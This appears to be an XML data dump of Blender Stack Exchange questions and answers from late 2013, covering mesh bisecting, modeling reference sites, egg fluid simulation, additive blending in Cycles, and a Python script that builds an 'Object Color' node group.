  <row Id="5321" PostTypeId="2" ParentId="5320" CreationDate="2013-12-05T20:29:22.710" Score="77" Body="&lt;p&gt;I would recommend using the bisect tool (new in Blender 2.69):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;), then press &lt;kbd&gt;Space&lt;/kbd&gt; and type in &lt;em&gt;Bisect&lt;/em&gt;, or select &lt;em&gt;Bisect&lt;/em&gt; from the toolshelf (under &lt;em&gt;Add&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Click and drag, to bisect the object.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3U6nV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;F6&lt;/kbd&gt; to bring up the options for the tool, and select clear inner, or clear outer depending on which half you don't want.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VX95M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you don't want to delete half, but just want to select it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Instead of step 3, press &lt;kbd&gt;H&lt;/kbd&gt; to hide the loop:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hx2cT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hover over the half you want and press &lt;kbd&gt;L&lt;/kbd&gt; to select linked vertices under the cursor:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LJaW6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Unhide everything (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;), leaving you with one half of the object selected:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YWMry.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastEditorUserId="696" LastEditDate="2014-03-24T01:06:38.817" LastActivityDate="2014-03-24T01:06:38.817" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5322" PostTypeId="1" CreationDate="2013-12-06T00:08:32.630" Score="20" ViewCount="75084" Body="&lt;p&gt;I'm a newbie.  I've gone through a number of tutorials and want to get some actual experience with modeling. But, I don't know where to go to get good reference images for modeling with front/sides views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone recommend the best places to find such images?&lt;/p&gt;&#xA;" OwnerUserId="1772" LastEditorUserId="29" LastEditDate="2013-12-06T00:46:16.227" LastActivityDate="2020-01-05T13:48:27.387" Title="Where are some places to get reference images for modeling?" Tags="&lt;modeling&gt;" AnswerCount="5" CommentCount="5" FavoriteCount="11" CommunityOwnedDate="2013-12-06T01:27:55.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="5323" PostTypeId="2" ParentId="5322" CreationDate="2013-12-06T00:49:32.400" Score="7" Body="&lt;p&gt;You can find some at &lt;a href=&quot;http://www.the-blueprints.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the-blueprints&lt;/a&gt;, high resolution vectors are paid and need registration for download.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="56473" LastEditDate="2018-05-26T22:45:35.557" LastActivityDate="2018-05-26T22:45:35.557" CommentCount="2" CommunityOwnedDate="2013-12-06T00:49:32.400" ContentLicense="CC BY-SA 4.0" />
  <row Id="5327" PostTypeId="2" ParentId="5322" CreationDate="2013-12-06T07:05:13.017" Score="4" Body="&lt;p&gt;I mostly use google images but for human reference &lt;a href=&quot;http://www.3d.sk/&quot; rel=&quot;nofollow&quot;&gt;http://www.3d.sk/&lt;/a&gt; is very big. It is not free though. Also, 3d.sk uses a subscription payment model that turns me off.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2013-12-06T11:51:03.447" LastActivityDate="2013-12-06T11:51:03.447" CommentCount="0" CommunityOwnedDate="2013-12-06T07:05:13.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="5328" PostTypeId="1" AcceptedAnswerId="5330" CreationDate="2013-12-06T07:32:27.670" Score="26" ViewCount="2616" Body="&lt;p&gt;Is it possible to simulate an egg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I was wondering how to handle simulating the yolk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking fluid simulation, but it seems you can't a specify different viscosity for different parts of the fluid. (I'm not even sure if that would even be the way to go about it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-06T07:47:53.183" LastActivityDate="2013-12-06T16:01:32.540" Title="Is it possible to simulate an egg?" Tags="&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5330" PostTypeId="2" ParentId="5328" CreationDate="2013-12-06T14:00:18.747" Score="43" Body="&lt;p&gt;Yes, you could use multiple fluid domains with different viscosity settings. The trick is to bake into different folders. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NWKqS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UI allows you only to have one fluid domain therefore you need to disable the first one after baking in one folder by setting its type to none. After that you bake the second one and re-enable the first domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: that the domains shouldn't overlap while baking (I'm not sure about that), I tried to reproduce the steps descibed &lt;a href=&quot;http://users.xplornet.com/~gimble/blender/tutorials/fluid/multi_domain/fluid_multi_domain.htm&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The yolks volume was subtracted from the egg-white using a boolean modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result needs obviously some tweaking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A67iZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/63B5D.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-12-06T16:01:32.540" LastActivityDate="2013-12-06T16:01:32.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5331" PostTypeId="1" AcceptedAnswerId="5338" CreationDate="2013-12-06T17:31:12.383" Score="13" ViewCount="4306" Body="&lt;p&gt;I want a semi transparent particle that adds to the color behind it. Stack enough on them on top of each other it will be brighter and brighter until it is pure white. It is of course volumetrics I really want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EaYKb.jpg&quot; alt=&quot;&quot;&gt;&#xA;I have tried this but it only decreases transparency. Not much surprise there. Is it at all possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QvVEh.png&quot; alt=&quot;Failed image and node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My result with the Add shader. Light isn't added (then it would be white). It is only the transparency that goes away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/or3Hi.png&quot; alt=&quot;Add shader result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My node setup with the Add shader. I have also tried it with reversing the colors of the two shaders I add. Similar result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R5iG6.png&quot; alt=&quot;Add shader node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Start of a solution&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Thanks to Gandalf3, I have begun to solve this with only a shader. This is the shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yr3qP.png&quot; alt=&quot;Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a test render. I need more geometry, tweek the alphas and some more, but basicly, it is what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1vZZs.png&quot; alt=&quot;Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to increase bounces in light path settings. This is experimental values but work for now. If not changed, the central part of the flames would be black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m7Ygw.png&quot; alt=&quot;Light_paths_settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="32220" LastEditDate="2019-01-04T08:56:16.460" LastActivityDate="2019-01-04T08:56:16.460" Title="How to get additive blending in cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="5332" PostTypeId="1" CreationDate="2013-12-06T17:39:24.757" Score="9" ViewCount="6015" Body="&lt;p&gt;I need a way to get the &lt;strong&gt;Object Color&lt;/strong&gt; in Cycles. I was thinking about using the attribute node, but I don't know what to write in the name entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KvoCB.jpg&quot; alt=&quot;Object color&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to get the color?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please don't edit the title or the description; when I write &lt;em&gt;Object Color&lt;/em&gt;, it's because that's the name of the property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender Render, I just have to check this box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WkMyW.jpg&quot; alt=&quot;Object Color in Blender Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want &quot;Vertex Color&quot; or &quot;Viewport Color&quot;; I need the &lt;em&gt;Object Color&lt;/em&gt; attribute.&lt;/p&gt;&#xA;" OwnerUserId="384" LastEditorUserId="599" LastEditDate="2013-12-21T11:28:42.963" LastActivityDate="2017-03-18T02:24:02.940" Title="Get &quot;Object Color&quot; property in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5334" PostTypeId="2" ParentId="5331" CreationDate="2013-12-06T18:06:16.637" Score="8" Body="&lt;p&gt;I think the only way to make a material add to what's behind it is to use compositing. To separate the added material from the rest of the scene, your going to have to use RenderLayers.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Move the &lt;em&gt;add&lt;/em&gt; object to a separate layer (&lt;kbd&gt;M&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;li&gt;In the RenderLayer tab select the layer that the &lt;em&gt;add&lt;/em&gt; object is on:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XjW8N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select all layers (&lt;kbd&gt;`&lt;/kbd&gt;) and hit render.&lt;/li&gt;&#xA;&lt;li&gt;Open the compositor and Select your two render layers:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PvmG1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add a mix node and set the &lt;em&gt;Blend Type&lt;/em&gt; to &lt;em&gt;Add&lt;/em&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hXqrp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Final Result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OUINQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-06T18:06:16.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5335" PostTypeId="2" ParentId="5322" CreationDate="2013-12-06T18:11:16.927" Score="6" Body="&lt;p&gt;One site that I commonly use for references is actually &lt;a href=&quot;http://pinterest.com/&quot;&gt;Pinterest&lt;/a&gt;. You can find some pretty useful boards on there. A few of the medieval weapons boards I found:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.pinterest.com/trishastreasure/medieval-weapons/&quot;&gt;http://www.pinterest.com/trishastreasure/medieval-weapons/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.pinterest.com/tbiliter/medieval-weapons/&quot;&gt;http://www.pinterest.com/tbiliter/medieval-weapons/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.pinterest.com/criticalgabriel/medieval-weapons/&quot;&gt;http://www.pinterest.com/criticalgabriel/medieval-weapons/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-06T18:11:16.927" CommentCount="1" CommunityOwnedDate="2013-12-06T18:11:16.927" ContentLicense="CC BY-SA 3.0" />
  <row Id="5336" PostTypeId="2" ParentId="5332" CreationDate="2013-12-06T19:30:56.147" Score="6" Body="&lt;h1&gt;Vertex Color:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Assuming that you mean &lt;em&gt;Vertex&lt;/em&gt; colors, and that you want to get it in the node editor, then you would type the name of the vertex color layer into the attribute node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ChvEj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/nodes/types/input/attribute.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Retrieve attribute attached to the object or mesh. Currently UV maps and vertex color layers can be retrieved this way by their names, with layers and attributes planned to be added. Also internal attributes like P (position), N (normal), Ng (geometric normal) may be accessed this way, although there are more convenient nodes for this. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note that if you have a UV layer with the same name it will be used instead.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Object Color:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For the &lt;em&gt;Object Color&lt;/em&gt; property, the answer is &lt;strong&gt;no&lt;/strong&gt;, this is not possible with the &lt;em&gt;Attribute node&lt;/em&gt; currently.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try using a &lt;a href=&quot;https://docs.blender.org/manual/en/dev/animation/drivers/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;driver&lt;/a&gt; to get the color into a node tree, however I don't think it will do what you want it too. The driver can only access the object color of one object at a time, so you wouldn't be able to use a different color per object in one material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, you could specify the different colors in the node setup by using object &lt;em&gt;pass indexes&lt;/em&gt; and the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/nodes/types/input/object_info.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Object Info&lt;/em&gt;&lt;/a&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an &quot;equal to&quot; nodegroup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/asG22.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/asG22.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then setup something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TVLeG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the object index is &lt;code&gt;1&lt;/code&gt;, the object will be green.&lt;br&gt;&#xA;If the object index is &lt;code&gt;2&lt;/code&gt;, the object will be cyan.&lt;br&gt;&#xA;If the object index is not &lt;code&gt;1&lt;/code&gt; or &lt;code&gt;2&lt;/code&gt;, it will be red.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The object info node uses the &lt;em&gt;Pass index&lt;/em&gt; of the object as the index. You can set the &lt;em&gt;Pass index&lt;/em&gt; in &lt;em&gt;Properties &gt; Object &gt; Relations&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eqgMc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You could write a python script to automatically set the colors, &lt;em&gt;Pass index&lt;/em&gt;, and create the appropriate nodes for all the objects in your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a script (thanks to iKlsR and sambler for answering my questions &lt;a href=&quot;https://blender.stackexchange.com/a/5446/599&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;https://blender.stackexchange.com/a/5430/599&quot;&gt;here&lt;/a&gt;, and &lt;a href=&quot;https://blender.stackexchange.com/a/5473/599&quot;&gt;here&lt;/a&gt;) that will automatically setup the pass indexes and create an &quot;Object Color&quot; node group which you can add to your node setups:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Add &quot;equal to&quot; node group:&#xA;group = bpy.data.node_groups.new(type=&quot;ShaderNodeTree&quot;, name=&quot;Equal to&quot;)&#xA;group.inputs.new(&quot;NodeSocketFloat&quot;, &quot;Value&quot;)&#xA;group.inputs.new(&quot;NodeSocketFloat&quot;, &quot;Value&quot;)&#xA;input_node = group.nodes.new(&quot;NodeGroupInput&quot;)&#xA;input_node.location = (0, 0)&#xA;&#xA;group.outputs.new(&quot;NodeSocketFloat&quot;, &quot;Value&quot;)&#xA;output_node = group.nodes.new(&quot;NodeGroupOutput&quot;)&#xA;output_node.location = (600, 0)&#xA;&#xA;# Add a greater than node&#xA;gtr_math_node = group.nodes.new(type='ShaderNodeMath')&#xA;gtr_math_node.operation = &quot;GREATER_THAN&quot;&#xA;gtr_math_node.name = &quot;greater&quot;&#xA;gtr_math_node.location = (200, 100)&#xA;group.links.new(input_node.outputs[0], gtr_math_node.inputs[0])&#xA;group.links.new(input_node.outputs[1], gtr_math_node.inputs[1])&#xA;&#xA;# Add a less than node&#xA;lss_math_node = group.nodes.new(type='ShaderNodeMath')&#xA;lss_math_node.operation = &quot;LESS_THAN&quot;&#xA;lss_math_node.name = &quot;less&quot;&#xA;lss_math_node.location = (200,-100)&#xA;group.links.new(input_node.outputs[0], lss_math_node.inputs[0])&#xA;group.links.new(input_node.outputs[1], lss_math_node.inputs[1])&#xA;&#xA;# Add an add node&#xA;add_math_node = group.nodes.new(type='ShaderNodeMath')&#xA;add_math_node.operation = &quot;ADD&quot;&#xA;add_math_node.name = &quot;add&quot;&#xA;add_math_node.use_clamp = True&#xA;add_math_node.location = (400, 0)&#xA;&#xA;# connect nodes&#xA;group.links.new(gtr_math_node.outputs[&quot;Value&quot;], add_math_node.inputs[0])&#xA;group.links.new(lss_math_node.outputs[&quot;Value&quot;], add_math_node.inputs[1])&#xA;group.links.new(add_math_node.outputs[&quot;Value&quot;], output_node.inputs[0])&#xA;&#xA;# Create main &quot;Object Color&quot; node group&#xA;main_group = bpy.data.node_groups.new(type=&quot;ShaderNodeTree&quot;, name=&quot;Object Color&quot;)&#xA;main_group.outputs.new(&quot;NodeSocketColor&quot;, &quot;Object Color&quot;)&#xA;output_node = main_group.nodes.new(&quot;NodeGroupOutput&quot;)&#xA;output_node.location = (600, 0)&#xA;&#xA;#Add object info node:&#xA;ob_index = main_group.nodes.new(type=&quot;ShaderNodeObjectInfo&quot;)&#xA;ob_index.location = (-600,0)&#xA;&#xA;index = 1&#xA;# Iterate through all objects in the current scene, set the path indexes and create nodes with the object color&#xA;for object in bpy.context.scene.objects:&#xA;    if object.type != 'CAMERA' and object.type != 'EMPTY' and object.type != 'LAMP':&#xA;        object.pass_index = index&#xA;        col = object.color&#xA;        if col != (1,1,1,1):&#xA;&#xA;#            add frame node:&#xA;            frame = main_group.nodes.new(type=&quot;NodeFrame&quot;)&#xA;            frame.location = (-70, index*200)&#xA;            frame.label = object.name&#xA;            frame.use_custom_color = True&#xA;            frame.color = (0,.005,.133)&#xA;&#xA;#            Add equalto node:&#xA;            group_node = main_group.nodes.new(&quot;ShaderNodeGroup&quot;)&#xA;            group_node.node_tree = group&#xA;            group_node.label = &quot;Equal to&quot;&#xA;            group_node.location = (-200, index*200)&#xA;            group_node.name = &quot;eq_&quot; + str(index)&#xA;            main_group.links.new(ob_index.outputs[&quot;Object Index&quot;], group_node.inputs[0])&#xA;            group_node.inputs[1].default_value = index&#xA;&#xA;#            Add mixRGB node:&#xA;            mix_node = main_group.nodes.new(type=&quot;ShaderNodeMixRGB&quot;)&#xA;            mix_node.location = (100, index*200)&#xA;            mix_node.name = &quot;mix_&quot; + str(index)&#xA;            main_group.links.new(group_node.outputs[&quot;Value&quot;], mix_node.inputs[&quot;Fac&quot;])&#xA;            mix_node.inputs[&quot;Color1&quot;].default_value = col&#xA;            if index != 1:&#xA;                main_group.links.new(main_group.nodes[&quot;mix_&quot; + str(index-1)].outputs[&quot;Color&quot;], mix_node.inputs[&quot;Color2&quot;])&#xA;            else:&#xA;                mix_node.inputs[&quot;Color2&quot;].default_value = (1,1,1,1)&#xA;&#xA;&#xA;            index = index + 1&#xA;        else:&#xA;            print (&quot;ob-color is white&quot;)&#xA;    else:&#xA;        print (&quot;is camera or lamp&quot;)&#xA;&#xA;main_group.links.new(mix_node.outputs[&quot;Color&quot;], main_group.nodes[&quot;Group Output&quot;].inputs[&quot;Object Color&quot;])&#xA;&#xA;&#xA;# Optional: uncomment the following to add the node group to the active material automatically:&#xA;#tree = bpy.context.object.active_material.node_tree&#xA;#group_node = tree.nodes.new(&quot;ShaderNodeGroup&quot;)&#xA;#group_node.node_tree = main_group&#xA;#group_node.label = &quot;Object Color&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that it sets the pass index for every object in the current scene that is not a &lt;em&gt;Lamp&lt;/em&gt;, &lt;em&gt;Camera&lt;/em&gt;, or an &lt;em&gt;Empty&lt;/em&gt;. If you have pass indexes already set, this script will overwrite them.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Usage:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is script can be run by pasting it into the &lt;em&gt;Text editor&lt;/em&gt; and clicking &lt;em&gt;Run Script&lt;/em&gt;. This will create the &quot;Object Color&quot; node group with all the nodes and colors set according to the actual &lt;em&gt;Object Color&lt;/em&gt; property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add this group to your setups by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Add &gt; Node &gt; Group &gt; Object Color&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the colors, press &lt;kbd&gt;Tab&lt;/kbd&gt; with the node group selected to edit it and change the colors of the &lt;em&gt;Color1&lt;/em&gt; slots on the mix nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To update it for new objects etc. you will have to run the script again and create another node group.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2017-03-18T02:24:02.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5337" PostTypeId="2" ParentId="5331" CreationDate="2013-12-06T19:34:55.740" Score="3" Body="&lt;p&gt;Actually, I continued fiddling with the Add shader and came up with this. I am not really sure why this works better than the others. It may not be true additive blending but it looks good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ufl3M.png&quot; alt=&quot;fireball&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-12-06T19:34:55.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5338" PostTypeId="2" ParentId="5331" CreationDate="2013-12-06T19:52:41.347" Score="9" Body="&lt;p&gt;This setup will add the transparent shader to itself when seen by the camera. To avoid excess fireflies, an emission shader is used for non-camera rays.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KtrHf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;br /&gt;&#xA;&lt;sup&gt;I used two transparent shaders in this case, but if you don't need to control them separately then only one is needed.&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;Result with three overlapping objects:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7nynj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that with many overlapping objects you may need to increase the max number of &lt;em&gt;Transparent&lt;/em&gt; bounces in &lt;em&gt;Render settings &amp;gt; Light Paths&lt;/em&gt; to avoid getting black spots where there are more overlapping transparent surfaces than the specified number of bounces.&lt;/p&gt;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;With the new transparent depth output of the light path node, you can avoid getting black when you run out of transparent bounces. This setup will replace the transparent shaders with an emission shader when the max number of bounces is reached:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W1WeF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This way you can use lower numbers of transparent bounces and not have annoying black spots.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Original answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/npxUh.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/npxUh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will make the emission shader become brighter the longer a ray travels through the object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gVcvo.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, this only works with a single object, so it doesn't look too good with many overlapping particles.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-19T07:58:36.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5339" PostTypeId="1" CreationDate="2013-12-06T23:29:40.933" Score="8" ViewCount="10501" Body="&lt;p&gt;So I have installed a fresh copy of Blender 2.69. I launch it. Open a new project. Hit the space bar and type Quick Smoke. I select Quick Smoke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On load of the Quick Smoke the Domain for Smoke is Solid Black and will render only as solid black. I have not modified any other settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a new file with Quick Fluid. I get a solid Grey/blue Domain and no render of the fluid. It seems that blender is not working properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mind you I have Not change any settings and am loading Quick Smoke and Quick Fluid from a fresh start new session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. yes I did search and found 1 familiar topic however the answers provided were not correct for this issue.&lt;/p&gt;&#xA;" OwnerUserId="1782" LastEditorUserId="527" LastEditDate="2013-12-07T00:15:37.977" LastActivityDate="2016-10-17T22:24:19.347" Title="Quick Smoke Domain is Solid Black" Tags="&lt;smoke-simulation&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5340" PostTypeId="2" ParentId="5304" CreationDate="2013-12-07T00:13:51.813" Score="3" Body="&lt;p&gt;Two reasons this can happen are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The file you are appending into has different units from the file you are appending from. You can go to the &lt;em&gt;Units&lt;/em&gt; panel in the &lt;em&gt;Scene&lt;/em&gt; tab to verify this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You are using either &lt;em&gt;Metric&lt;/em&gt; or &lt;em&gt;Imperial&lt;/em&gt; units and the &lt;em&gt;Scale&lt;/em&gt; value is different in both files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-12-07T00:13:51.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
